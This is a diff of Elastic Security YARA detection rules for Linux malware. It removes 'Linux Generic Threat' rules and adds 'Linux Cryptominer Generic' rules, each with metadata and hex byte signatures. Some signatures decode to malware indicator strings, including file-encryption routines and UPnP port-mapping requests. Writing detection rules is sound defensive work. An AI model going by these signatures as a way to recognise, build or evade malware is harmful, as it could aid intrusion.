-		$a1 = { 20 48 89 7D E8 89 75 E4 48 83 7D E8 00 74 5C C7 45 FC 00 00 00 00 EB 3D 8B 45 FC 48 98 48 C1 E0 04 48 89 C2 48 8B 45 E8 48 01 D0 48 8B 00 48 85 C0 74 1E 8B 45 FC 48 98 48 C1 E0 04 48 }
+		$a = { 41 56 45 31 F6 41 55 49 89 F5 41 54 44 8D 67 01 55 4D 63 E4 53 49 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_Cb825102 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_1D0700B8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "cb825102-0b03-4885-9f73-44dd0cf2d45c"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "1d0700b8-1bc0-4da2-a903-9d78e79e71d8"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L676-L694"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4e24b72b24026e3dfbd65ddab9194bd03d09446f9ff0b3bcec76efbb5c096584"
-		logic_hash = "ac48f32ec82aac6df0697729d14aaee65fba82d91173332cd13c6ccccd63b1be"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L641-L659"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "de59bee1793b88e7b48b6278a52e579770f5204e92042142cc3a9b2d683798dd"
+		logic_hash = "a24264cb071d269c82718aed5bc5c6c955e1cb2c7a63fe74d4033bfa6adf8385"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e23ac81c245de350514c54f91e8171c8c4274d76c1679500d6d2b105f473bdfc"
-		severity = 50
+		fingerprint = "19853be803f82e6758554a57981e1b52c43a017ab88242c42a7c39f6ead01cf3"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 5B 2B 5D 20 72 65 73 6F 6C 76 69 6E 67 20 72 65 71 75 69 72 65 64 20 73 79 6D 62 6F 6C 73 2E 2E 2E }
+		$a = { 30 42 30 42 00 22 22 03 5C DA 10 00 C0 00 60 43 9C 64 48 00 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_3Bcc1630 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_55Beb2Ee : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "3bcc1630-cfa4-4f2e-b129-f0150595dbc3"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "55beb2ee-7306-4134-a512-840671cc4490"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L696-L716"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "62a6866e924af2e2f5c8c1f5009ce64000acf700bb5351a47c7cfce6a4b2ffeb"
-		logic_hash = "6f602aac6db46ac3f5b7716a1dac53b5dbd2c583505644bfc617d69be0a2d4de"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L661-L679"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "edda1c6b3395e7f14dd201095c1e9303968d02c127ff9bf6c76af6b3d02e80ad"
+		logic_hash = "8a31b4866100b35d559d50f5db6f80d51bced93f9aac3f0d2d1de71ba692a3c5"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0e4fe564c5c3c04e4b40af2bebb091589fb52292bd16a78b733c67968fa166e7"
-		severity = 50
+		fingerprint = "707a1478f86da2ec72580cfe4715b466e44c345deb6382b8dc3ece4e3935514d"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 2F 72 6F 6F 74 2F 64 76 72 5F 67 75 69 2F }
-		$a2 = { 2F 72 6F 6F 74 2F 64 76 72 5F 61 70 70 2F }
-		$a3 = { 73 74 6D 5F 68 69 33 35 31 31 5F 64 76 72 }
+		$a = { 24 FC 00 00 00 8B 84 24 C0 00 00 00 0F 29 84 24 80 00 00 00 0F 11 94 24 C4 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_5D5Fd28E : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_Fdd7340F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "5d5fd28e-ae8f-4b6f-ad95-57725550fcef"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "fdd7340f-49d6-4770-afac-24104a3c2f86"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L718-L738"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b179a117e946ce639e99ff42ab70616ed9f3953ff90b131b4b3063f970fa955"
-		logic_hash = "b29ca34b98ee87151496f900fa3558190127957539afac3fd99db2dc51980213"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L681-L699"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "de59bee1793b88e7b48b6278a52e579770f5204e92042142cc3a9b2d683798dd"
+		logic_hash = "fd39ba5cf050d23de0889feefa9cd74dfb6385a09aa9dba90dc1d5d6cb020867"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3a24edfbafc0abee418998d3a6355f4aa2659d68e27db502149a34266076ed15"
-		severity = 50
+		fingerprint = "cc302eb6c133901cc3aa78e6ca0af16a620eb4dabb16b21d9322c4533f11d25f"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 2F 75 73 72 2F 62 69 6E 2F 77 64 31 }
-		$a2 = { 2F 75 73 72 2F 62 69 6E 2F 63 64 31 }
-		$a3 = { 2F 75 73 72 2F 62 69 6E 2F 63 64 74 }
+		$a = { EA 48 89 DE 48 8D 7C 24 08 FF 53 18 48 8B 44 24 08 48 83 78 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_B0B891Fb : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_2627921E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "b0b891fb-f262-4a06-aa3c-be0baeb53172"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "2627921e-6c0d-4515-a09a-b2c99a59598d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L740-L759"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d666bc0600075f01d8139f8b09c5f4e4da17fa06a86ebb3fa0dc478562e541ae"
-		logic_hash = "9ec82691a230f3240b1253f99a45cd0baa3238b6fd533004a22a6152b6ac9a12"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L701-L719"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "350a8ceabd8495e66cc58885f1ab38f602c66c162c05e4b6ae0e2a7977ec2cdf"
+		logic_hash = "edb2864719d62ab212bde1adf02dd17c8edc8ce4ae273b959e58a3eaf751fd7c"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c6e4f7bcc94b584f8537724d3ecd9f83e6c3981cdc35d5cdc691730ed0e435ef"
-		severity = 50
+		fingerprint = "2551ece438a09700c825faa63caa3e21ced94c85bdaa5b1b0dd63603d4fa9bb6"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 6D 61 69 6E 2E 65 6E 63 72 79 70 74 5F 66 69 6C 65 }
-		$a2 = { 2F 64 65 76 2F 75 72 61 6E 64 6F 6D 2F 6D 6E 74 2F 65 78 74 2F 6F 70 74 31 35 32 35 38 37 38 39 30 36 32 35 37 36 32 39 33 39 34 35 33 31 32 35 42 69 64 69 5F 43 6F 6E 74 72 6F 6C 4A 6F 69 6E 5F 43 6F 6E 74 72 6F 6C 4D 65 65 74 65 69 5F 4D 61 79 65 6B 50 61 68 61 77 68 5F 48 6D 6F 6E 67 53 6F 72 61 5F 53 6F 6D 70 65 6E 67 53 79 6C 6F 74 69 5F 4E 61 67 72 69 61 62 69 20 6D 69 73 6D 61 74 63 68 62 61 64 20 66 6C 75 73 68 47 65 6E 62 61 64 20 67 20 73 74 61 74 75 73 62 61 64 20 72 65 63 6F 76 65 72 79 63 61 6E 27 74 20 68 61 70 70 65 6E 63 61 73 36 34 20 66 61 69 6C 65 64 63 68 61 6E 20 72 65 63 65 69 76 65 64 75 6D 70 69 6E 67 20 68 65 61 70 65 6E 64 20 74 72 61 63 65 67 63 }
+		$a = { 0F 6F D0 66 44 0F 6F C1 66 0F 69 E2 66 44 0F 61 D2 66 44 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_Cd9Ce063 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_E36A35B0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "cd9ce063-a33b-4771-b7c0-7342d486e15a"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "e36a35b0-cb38-4d2d-bca2-f3734637faa8"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L761-L779"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "485581520dd73429b662b73083d504aa8118e01c5d37c1c08b21a5db0341a19d"
-		logic_hash = "ba070c2147028cad4be1c139b16a770c9d9854456d073373a93ed0b213f7b34c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L721-L739"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ab6d8f09df67a86fed4faabe4127cc65570dbb9ec56a1bdc484e72b72476f5a4"
+		logic_hash = "0572f584746a2af6f545798b25445fd4e764a9eecc01b7476e5c1af631eb314a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e090bd44440e912d04de390c240ca18265bcf49e34f6689b3162e74d2fd31ba4"
-		severity = 50
+		fingerprint = "0ee42ff704c82ee6c2bc0408cccb77bcbae8d4405bb1f405ee09b093e7a626c0"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 2C 2A 73 74 72 75 63 74 20 7B 20 46 20 75 69 6E 74 70 74 72 3B 20 2E 61 75 74 6F 74 6D 70 5F 32 36 20 2A 74 6C 73 2E 43 6F 6E 6E 20 7D }
+		$a = { 71 F2 08 66 0F EF C1 66 0F EF D3 66 0F 7F 44 24 60 66 0F 7F 54 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_B8B076F4 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_6Dad0380 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "b8b076f4-c64a-400b-80cb-5793c97ad033"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "6dad0380-7771-4fb9-a7e5-176eeb6fcfd7"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L781-L799"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4496e77ff00ad49a32e090750cb10c55e773752f4a50be05e3c7faacc97d2677"
-		logic_hash = "37f3be4cbda4a93136d66e32d7245d4c962a9fe1c98fb0325f42a1d16d6d9415"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L741-L759"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "628b1cc8ccdbe2ae0d4ef621da047e07e2532d00fe3d4da65f0a0bcab20fb546"
+		logic_hash = "b305448d5517212adb7586e7af12842095e1a263520511329e40f0865fe4f81b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f9c6c055e098164d0add87029d03aec049c4bed2c4643f9b4e32dd82f596455c"
-		severity = 50
+		fingerprint = "ffe022f42e98c9c1eeb3aead0aca9d795200b4b22f89e7f3b03baf96f18c9473"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 48 81 EC C0 00 00 00 48 89 AC 24 B8 00 00 00 48 8D AC 24 B8 00 00 00 44 0F 11 7C 24 2E 44 0F 11 7C 24 2F 44 0F 11 7C 24 3F 44 0F 11 7C 24 4F 44 0F 11 7C 24 5F 48 8B 94 24 C8 00 00 00 48 89 54 }
+		$a = { 48 C1 E6 05 48 01 C6 48 39 F1 74 05 49 89 74 24 08 44 89 E9 48 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_1Ac392Ca : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_E73F501E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "1ac392ca-d428-47ef-98af-d02d8305ae67"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "e73f501e-019c-4281-ae93-acde7ad421af"
+		date = "2021-12-13"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L801-L819"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dca2d035b1f7191f7876eb727b13c308f63fe8f899cab643526f9492ec0fa16f"
-		logic_hash = "6ffa5099c0d18644cd11a0511db542d2f809e4cba974eccca814fedf5a2b0a5b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L761-L779"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2f646ced4d05ba1807f8e08a46ae92ae3eea7199e4a58daf27f9bd0f63108266"
+		logic_hash = "2f6187f3447f9409485e9e8aa047114aa3c38bcc338106c3ed8680152dff121a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e21805cc2d548c940b0cefa8ee99bd55c5599840e32b8341a4ef5dfb0bc679ff"
-		severity = 50
+		fingerprint = "bd9e6f2548c918b2c439a047410b6b239c3993a3dbd85bfd70980c64d11a6c5c"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 53 4F 41 50 41 63 74 69 6F 6E 3A 20 75 72 6E 3A 73 63 68 65 6D 61 73 2D 75 70 6E 70 2D 6F 72 67 3A 73 65 72 76 69 63 65 3A 57 41 4E 49 50 43 6F 6E 6E 65 63 74 69 6F 6E 3A 31 23 41 64 64 50 6F 72 74 4D 61 70 70 69 6E 67 }
+		$a = { 03 51 8A 92 FF F3 20 01 DE 63 AF 8B 54 73 0A 65 83 64 88 60 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_949Bf68C : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_5E56D076 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "949bf68c-e6a0-451d-9e49-4515954aabc8"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "5e56d076-0d6d-4979-8ebc-52607dcdb42d"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L821-L839"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cc1b339ff6b33912a8713c192e8743d1207917825b62b6f585ab7c8d6ab4c044"
-		logic_hash = "aaae0a8a2827786513891bc8c3e3418823ae3f3291d891e80e82113b929f7513"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L781-L799"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "32e1cb0369803f817a0c61f25ca410774b4f37882cab966133b4f3e9c74fac09"
+		logic_hash = "c8e2ebcffe8a169c2cc311c95538b674937fa87e06d2946a6ed3b0c1f039f7fc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e478c8befed6da3cdd9985515e4650a8b7dad1ea28292c2cf91069856155facd"
-		severity = 50
+		fingerprint = "e9ca9b9faee091afed534b89313d644a52476b4757663e1cdfbcbca379857740"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 55 89 E5 57 56 53 81 EC 58 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 85 B4 FE FF FF 89 95 AC FE FF FF 8D B5 C4 FE FF FF 56 ?? ?? ?? ?? ?? 58 5A 6A 01 56 }
+		$a = { 71 18 4C 89 FF FF D0 48 8B 84 24 A0 00 00 00 48 89 43 60 48 8B 84 24 98 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_Bd35454B : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_54357231 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "bd35454b-a0dd-4925-afae-6416f3695826"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "54357231-23d8-44f5-94d7-71da02a8ba38"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L841-L860"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cd729507d2e17aea23a56a56e0c593214dbda4197e8a353abe4ed0c5fbc4799c"
-		logic_hash = "d3619cdb002b4ac7167716234058f949623c42a64614f5eb7956866b68fff5e4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L801-L819"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "388b927b850b388e0a46a6c9a22b733d469e0f93dc053ebd78996e903b25e38a"
+		logic_hash = "a895c9fd124d6bd55748093c3ef54606e5692285260aa21bd70dca02126239d2"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "721aa441a2567eab29c9bc76f12d0fdde8b8a124ca5a3693fbf9821f5b347825"
-		severity = 50
+		fingerprint = "8bbba49c863bc3d53903b1a204851dc656f3e3d68d3c8d5a975ed2dc9e797e13"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 6D 61 69 6E 2E 65 6E 63 72 79 70 74 5F 66 69 6C 65 }
-		$a2 = { 57 68 61 74 20 67 75 61 72 61 6E 74 65 65 73 3F }
+		$a = { 73 F2 06 C5 F9 EB C2 C4 E3 79 16 E0 02 C4 E3 79 16 E2 03 C5 F9 70 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_1E047045 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_467C4D46 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "1e047045-e08b-4ecb-8892-90a1ab94f8b1"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "467c4d46-3272-452c-9251-3599d16fc916"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L862-L880"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2c49772d89bcc4ad4ed0cc130f91ed0ce1e625262762a4e9279058f36f4f5841"
-		logic_hash = "0d28df53e030664e7225f1170888b51e94e64833537c5add3e10cfdb4f029a3a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L821-L839"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "388b927b850b388e0a46a6c9a22b733d469e0f93dc053ebd78996e903b25e38a"
+		logic_hash = "b28f871365c1fa6315b1c2fc6698bdd224961972cd578db05c311406c239ac22"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "aa99b16f175649c251cb299537baf8bded37d85af8b2539b4aba4ffd634b3f66"
-		severity = 50
+		fingerprint = "cbde94513576fdb7cabf568bd8439f0194d6800373c3735844e26d262c8bc1cc"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 18 48 89 FB 48 89 F5 64 48 8B 04 25 28 00 00 00 48 89 44 24 08 31 C0 48 8B 47 08 48 89 C2 48 C1 EA 18 88 14 24 48 89 C2 48 C1 EA 10 88 54 24 01 48 89 C2 48 C1 EA 08 88 54 24 02 88 44 }
+		$a = { 49 8B 77 08 48 21 DE 4C 39 EE 75 CE 66 41 83 7F 1E 04 4C 89 F5 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_1973391F : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_E0Cca9Dc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "1973391f-b9a2-465d-8990-51c6e9fab84b"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "e0cca9dc-0f3e-42d8-bb43-0625f4f9bfe1"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L882-L901"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7bd76010f18061aeaf612ad96d7c03341519d85f6a1683fc4b2c74ea0508fe1f"
-		logic_hash = "632a43b68e498f463ff5dfa78212646b8bd108ea47ff11164c8c1a69e830c1ac"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Generic.yar#L841-L859"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "59a1d8aa677739f2edbb8bd34f566b31f19d729b0a115fef2eac8ab1d1acc383"
+		logic_hash = "fa4089f74fc78e99427b4e8eda9f8348e042dc876c7281a4a2173c83076bfbd2"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "90a261afd81993057b084c607e27843ff69649b3d90f4d0b52464e87fdf2654d"
-		severity = 50
+		fingerprint = "e7bc17ba356774ed10e65c95a8db3b09d3b9be72703e6daa9b601ea820481db7"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a1 = { 70 69 63 6B 75 70 20 2D 6C 20 2D 74 20 66 69 66 6F 20 2D 75 }
-		$a2 = { 5B 2D 5D 20 43 6F 6E 6E 65 63 74 20 66 61 69 6C 65 64 2E }
+		$a = { 54 24 40 48 8D 94 24 C0 00 00 00 F3 41 0F 6F 01 48 89 7C 24 50 48 89 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Generic_Threat_66D00A84 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Generic_36E404E2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
+		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "66d00a84-c148-4a82-8da5-955787c103a4"
-		date = "2024-02-21"
-		modified = "2024-06-12"
+		id = "36e404e2-be7c-40dc-b861-8ab929cad019"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Generic_Threat.yar#L903-L921"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "464e144bcbb54fc34262b4d81143f4e69e350fb526c803ebea1fdcfc8e57bf33"
-		logic_hash = "a1d60619d72b3309bfaaf8b4085dd5ed90142ff3e9ebfe80fcd7beba5f14a62e"
